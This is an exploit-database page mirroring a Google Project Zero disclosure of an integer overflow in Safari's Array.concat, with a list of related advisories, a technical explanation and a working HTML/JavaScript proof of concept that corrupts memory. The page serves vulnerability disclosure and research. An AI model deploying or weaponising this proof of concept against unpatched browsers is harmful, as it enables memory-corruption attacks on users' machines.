Apple Safari - Array concat Memory Corruption Exploit

🗓️ 26 Apr 2017 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 33 Views

Apple Safari memory corruption exploit through Array.conca

Reporter	Title	Published	Views	Family All 34
Tenable Nessus	Safari < 10.1 Multiple Vulnerabilities	31 Mar 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3 Multiple Vulnerabilities	31 Mar 201700:00	–	nessus
Tenable Nessus	Apple TV < 10.2 Multiple Vulnerabilities	2 Apr 201700:00	–	nessus
Tenable Nessus	Apple TV < 10.2 Multiple Vulnerabilities	10 Apr 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3 Multiple Vulnerabilities	31 Mar 201700:00	–	nessus
Tenable Nessus	GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities	8 Jun 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1 Multiple Vulnerabilities	3 Apr 201700:00	–	nessus
Tenable Nessus	Ubuntu 16.04 LTS : WebKitGTK+ vulnerabilities (USN-3257-1)	11 Apr 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2464	24 Aug 202500:00	–	nessus
Apple	About the security content of iOS 10.3	27 Mar 201700:00	–	apple

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1095
 
There is an out-of-bounds memcpy in Array.concat that can lead to memory corruption.
 
In builtins/ArrayPrototype.js, the function concatSlowPath calls a native method @appendMemcpy with a parameter resultIndex that is handled unsafely by the method. It calls JSArray::appendMemcpy, which calculates the memory size for the combined arrays as follows:
 
unsigned newLength = startIndex + otherLength;
 
If startIndex (resultIndex from concatSlowPath in JS) is very large, an integer overflow can occur, causing too small a buffer to be allocated, and copying to occur outside of the buffer.
 
It should be difficult to reach this state without a long execution time, because an array of length resultIndex needs to be allocated and copied before resultIndex is incremented, however if both arrays involved in the concatenation are of type ArrayWithUndecided JSArray::appendMemcpy returns true without copying, and resultIndex can be incremented with a low execution time.
 
Arrays of type ArrayWithUndecided are usually of length 0, however, it is possible to create one by calling Array.splice on an array with all undefined elements. This will cause an undefined Array of the delete length to be allocated, and then returned without it being written to, which would cause it to decide its type.
 
A minimal PoC is as follows, and a full PoC is attached.
 
var a = [];
a.length = 0xffffff00;
 
var b = a.splice(0, 0x100000); // Undecided array
 
var args = [];
args.length = 4094;
args.fill(b);
 
var q = [];
q.length = 0x1000;
q.fill(7);
 
var c = a.splice(0, 0xfffef); //Shorter undecided array
 
args[4094] = c;
args[4095] = q;
 
 
b.concat.apply(b, args);
-->
 
<html>
<body>
<script>
 
var a = [];
a.length = 0xffffff00;
 
var b = a.splice(0, 0x100000); // Undecided array
 
var args = [];
args.length = 4094;
args.fill(b);
 
var q = [];
q.length = 0x1000;
q.fill(7);
 
var c = a.splice(0, 0xfffef); //Shorter undecided array
 
args[4094] = c;
args[4095] = q;
 
 
b.concat.apply(b, args);
 
</script>
</body>
</html>

#  0day.today [2018-01-05]  #

26 Apr 2017 00:00Current

8.3High risk

Vulners AI Score8.3

EPSS0.09024